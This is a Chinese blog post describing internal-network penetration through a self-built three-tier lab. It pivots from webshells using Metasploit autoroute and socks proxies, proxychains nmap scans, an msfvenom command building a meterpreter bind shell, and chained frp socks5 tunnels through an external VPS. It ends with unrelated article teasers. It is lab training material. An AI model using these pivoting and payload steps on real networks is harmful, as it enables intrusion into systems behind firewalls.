基于自建靶场三层网络的内网渗透

news2024/10/7 6:44:19

注意:一切内容仅用于安全技术的分享,切勿用于其他用途,产生严重的后果与作者无关

前言介绍:

网络拓扑图:

为了方便起见,我在每个服务器放有webshell,这里主要是让我们熟悉sock代理的使用。

这里搭建的话可以看我之前写的文章:linux(ubuntu)网卡配置/防火墙ufw_不习惯有你的博客-CSDN博客

msf中代理的使用:

首先连接到web1的webshell

我们将其转到msf,这里我们最好放到/tmp目录下,因为tmp目录的执行权限是777

添加路由,对内网进一步测试。

设置msf代理(server/socks_proxy),这里srvhost设置为主机ip(类似于192.168.*.*),srvport设置为10800,然后exploit -j

在msf的session中设置路由

//设置路由    set
run autoroute -s    192.168.122.128/24
//显示路由    print
run autoroute -p

测试下proxychians4代理是否正常

使用nmap对内网进行扫描,存在192.168.122.131,这里需要带上-Pn,进行noping扫描,后面--min-hostgroup 1024 --min-parallelism 1024,加快扫描速度

proxychains4 nmap  -Pn -sT -T4  -p 80 -T4 --min-hostgroup 1024 --min-parallelism 1024    192.168.122.128/24

发现192.168.122.131主机是存在的,这时候我们就可以访问下我们的webshell,这里是为了方便练习内网简化一些操作,我们给浏览器加上主机代理

我们连上192.168.122.131的webshell

进入到web2后我们使用正向shell将其代理出去给msf,这样我们有更多的操作空间,因为web2主机不出网

使用msfvenom生成payload,放到web2上运行,放到tmp目录设置权限777运行

msfvenom -p linux/x64/meterpreter/bind_tcp   LPORT=19999  -f elf > hjwwebshell.elf

我们连接到后使用msf查看路由

添加路由192.168.22.129,我们接着就是对网段192.168.22.129/24这个网段进行渗透

使用nmap对192.168.22.129/24这个网段进行主机存活扫描,发现192.168.22.155存在

我们访问下,主机存活

使用浏览器看看192.168.22.155的内容

使用webshell连接web3主机,连接成功

使用frp进行渗透:

网络拓扑图:

这里我们使用frp进行内网穿透,将123.60.89.153作为代理服务器,在我vps上放frp服务端,在web1上放frp客户端,因为我们要渗透web3(192.168.22.155),这里我们要进行二层代理,然后在web1上开一个服务端,然后再web2上开个客户端,从而能够访问到web3

首先在vps上开启服务端

连接web1,上传frp从而对web2进行渗透(记得chmod以下权限)

配置下frpc.ini,然后启动

修改proxychians4的代理

porxychains4下web2(192.168.122.129),这里由于ip变化,则我们实际的ip(192.168.122.131)

我们给浏览器使用代理,使用浏览器访问下web2,成功访问

我们连接web2的webshell,记得给蚁剑添加代理,我们上传frp

现在我们给web2代理出去,这里我们对web1的frpc进行继续配置

[common]
server_addr = 123.60.79.153
server_port = 7000
tls_enable = true

[socks5_web1]
type = tcp
plugin = socks5
remote_port = 52013

[socks5_web2]
type = tcp
remote_port = 52014
local_ip = 192.168.122.128
local_port = 52000

这里socks5_web2里面的意思就是,将本地的52000端口转发到52014端口,这里我们还需要在web1上开一个frps,将web2转发到web1的5200这个端口上,从而将web代理出去。流程是:

hack  ->  vps  <-  web1  <-  web2

 这里可能存在一些一点问题,这只是我的理解,欢迎提出建议。

我们对web1中的frps.ini进行配置

[common]
bind_port = 7000

现在对web2的frpc.ini进行配置

[common]
server_addr = 192.168.122.128
server_port = 7000
tls_enable = true

[socks5_web1]
type = tcp
plugin = socks5
remote_port = 52000

现在我们通过代理vps的52013端口可以访问到web1,代理52014端口可以访问到web2

我们在web3中已经放了webshell,这时候我们给修改代理为vps的52014端口,成功连接到web3

使用ew进行渗透:

使用ew这里会更简单,搞懂上面的msf和frp的思路,那么ew看看就会了,这里就不再文章里面记录,还是推荐自己动手操作下。

GitHub - idlefire/ew: 内网穿透(跨平台)

总结:

这里我只是做一个简单的工具熟悉,所以在几个web服务器上都放了webshell

还请各位大佬不用攻击我的服务器,为了更好的理解,所以就以自己服务器来演示

一切内容仅用于安全技术的学习,切勿用于其他用途

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/529648.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

修剪二叉搜索树

1题目 给你二叉搜索树的根节点 root &#xff0c;同时给定最小边界low 和最大边界 high。通过修剪二叉搜索树&#xff0c;使得所有节点的值在[low, high]中。修剪树 不应该 改变保留在树中的元素的相对结构 (即&#xff0c;如果没有被移除&#xff0c;原有的父代子代关系都应当…

10 常见网站安全攻击手段及防御方法

在某种程度上&#xff0c;互联网上的每个网站都容易遭受安全攻击。从人为失误到网络罪犯团伙发起的复杂攻击均在威胁范围之内。 网络攻击者最主要的动机是求财。无论你运营的是电子商务项目还是简单的小型商业网站&#xff0c;潜在攻击的风险就在那里。 知己知彼百战不殆&…

【一起撸个深度学习框架】6 折与曲的相会——激活函数

CSDN个人主页&#xff1a;清风莫追欢迎关注本专栏&#xff1a;《一起撸个DL框架》GitHub获取源码&#xff1a;https://github.com/flying-forever/OurDLblibli视频合集&#xff1a;https://space.bilibili.com/3493285974772098/channel/series 文章目录 6 折与曲的相会——激活…

史蒂夫·青木主题的 Game Jam

准备好潜入史蒂夫青木的脑海中&#xff0c;创造一个探索他内心思想的游戏吧&#xff01;史蒂夫青木主题 Game Jam 正式推出&#xff0c;这是一场为期两周的游戏制作比赛&#xff0c;鼓励参赛者创造和史蒂夫青木内心世界有关的游戏。 探索这位传奇艺术家和 DJ 潜意识&#xff0c…

nginx压测记录

nginx压测记录 1 概述2 原理3 环境3.1 设备与部署3.2 nginx配置/服务器配置 4 netty服务5 步骤6 结果7 写在最后 1 概述 都说nginx的负载均衡能力很强&#xff0c;最近出于好奇对nginx的实际并发能力进行了简单的测试&#xff0c;主要测试了TCP/IP层的长链接负载均衡 2 原理 …

Python 与数据科学实验(Exp9)

实验9 多分类手写数字识别实验 1.实验数据 &#xff08;1&#xff09;训练集 所给数据一共有42000张灰度图像&#xff08;分辨率为28*28&#xff09;&#xff0c;目前以train_data.csv文件给出. 图像内容涵盖了10个手写数字0-9。 图像示例如图所示&#xff1a; train_data.…

算法(一)—— 回溯(4)困难题

文章目录 1 37 解数独2 51 N 皇后 1 37 解数独 首先明确需要两个for循环&#xff0c;这样才可以遍历整个9*9的表。 此题数字的选取逻辑再次展现了回溯的暴力性。 此题需要拥有返回值&#xff0c;与数据结构&#xff08;六&#xff09;—— 二叉树&#xff08;5&#xff09;中…

物联网和云计算:如何将设备数据和云端服务相结合

第一章&#xff1a;引言 物联网和云计算是当今IT领域中的两个重要概念&#xff0c;它们的结合为企业和个人带来了巨大的机遇和挑战。物联网通过连接各种设备和传感器&#xff0c;实现了设备之间的互联互通&#xff0c;而云计算则提供了强大的计算和存储能力。本文将深入探讨如何…

MySQL学习(基础篇1.0)

MySQL概述&#xff08;基础&#xff09; SQL 全称Structured Query Language,结构化察浑语言。操作关系型数据库的编程语言&#xff0c;定义了一套操作关系型数据库的统一标准。 SQL通用语法 SQL语言的统统用语法&#xff1a; SQL语句可以单行或多行书写&#xff0c;以分号…

论文阅读|基于图神经网络的配电网故障定位方法

来源&#xff1a;北京交通大学硕士学位论文&#xff0c;2022 摘要 电网拓扑形态多样&#xff0c;重构场景频繁&#xff0c;&#xff0c;传统故障定位方法的单一阈值设定无法满足要求&#xff0c;基于人工智能的配电网故障定位技术具有很大的应用潜力&#xff0c;但仍存在着拓…

HTML概述及常用语法

什么是 HTML HTML 用来描述网页的一种语言 HTML -- hyper text markup language 超文本标记语言 超文本包括&#xff1a;文字、图片、音频、视频、动画等等 标记语言&#xff1a;是一套标记标签&#xff0c; HTML 使用标记标签来 描述 网页 <> HTML 发展史 HTML5 …

Web基础 ( 二 ) CSS

2.CSS 2.1.概念与基础 2.1.1.什么是CSS Cascading Style Sheets 全称层叠样式单 简称样式表。 是告诉浏览器如何来显示HTML的元素的特殊标记 2.1.2.编写方式 2.1.2.1.外部文件 在html文件的<head>中加入<link>结点来引入外部的文件 <link rel"stylesh…

Go Wails Docker图形界面管理工具 (5)

文章目录 1. 前言2. 效果图3. 代码 1. 前言 接上篇&#xff0c;本次添加Docker存储卷功能 待优化: 优化分页效果添加存储卷大小查看功能 2. 效果图 3. 代码 直接调用官方库 app.go func (a *App) VolumeList() ([]*volume.Volume, error) {resp, err : Cli.VolumeList(context…

Linux中关于时间修改的命令

目录 Linux中关于时间修改的命令 data命令 语法格式 示例 date命令中的参数以及作用 常用格式示例 timedatectl命令 语法格式 timedatectl 命令中的参数以及作用 常用格式 Linux中关于时间修改的命令 data命令 data --- 用于显示或设置系统的时间与日期 用户只需在强…

干货丨警惕!14个容易导致拒稿的常见错误

Hello,大家好&#xff01; 这里是壹脑云科研圈&#xff0c;我是喵君姐姐~ 从做研究、到写论文、再到投稿&#xff0c;每一步都是巨大的挑战。以下列举了一些在这些过程中可能导致拒稿的常见错误&#xff0c;希望能帮助大家避开。 01 格式问题 1.没有遵守投稿须知 期刊提供了…

oracle基于时间点恢复遇到ORA-10877错误

一次给客户进行基于时间点恢复的时候,出现报错ORA-10877,如下: 这里很奇怪,这个归档日志有的,当前全库的备份是05-14 23点的,所以应该是可以恢复的,检查一下alter日志: 这里报错,指定的时间scn不属于当前的incarnation,那么检查一下当前的incarnation: 这里当前的incarnation是…

Linux实操篇---常用的基本命令3(用户(组)管理命令、文件权限类、搜索查找类、压缩解压类)

一、用户管理命令 Linux是一个多用户&#xff0c;多任务的分时操作系统。甚至有可能同时登录&#xff0c;同时操作。所以给用户不同的账号。 useradd添加新用户 基本语法&#xff1a; 只能用root进行操作。 useradd 用户名 添加新用户 useradd -g 组名 用户名 添加新用…

MyBatis Plus 代码生成器

一、引入POM依赖 <dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.5.3.1</version></dependency><dependency><groupId>com.baomidou</groupId&g…

3ds Max云渲染平台哪个好?

3ds Max云渲染平台哪个好&#xff1f; 3ds Max是一款包含建模、动画、粒子动力学等强大功能的三维动画制作软件&#xff0c;3ds Max对特定如游戏建模、特效制作、产品模型设计等领域都具备了过硬的专业能力&#xff0c;同时3ds Max也是很多CGer青睐的CG软件。 作为支持3ds Ma…

黑马Redis笔记高级篇 | Redis最佳实践

黑马Redis笔记高级篇 | Redis最佳实践 1、Redis键值设计1.1、优雅的key结构1.2、拒绝BigKey1.3、恰当的数据类型1.4、总结 2、批处理优化1.1、Pipeline1.2、集群下的批处理 3、服务端优化3.1、持久化配置3.2、慢查询3.3、命令及安全配置3.4、内存配置 4、集群最佳实践 1、Redis…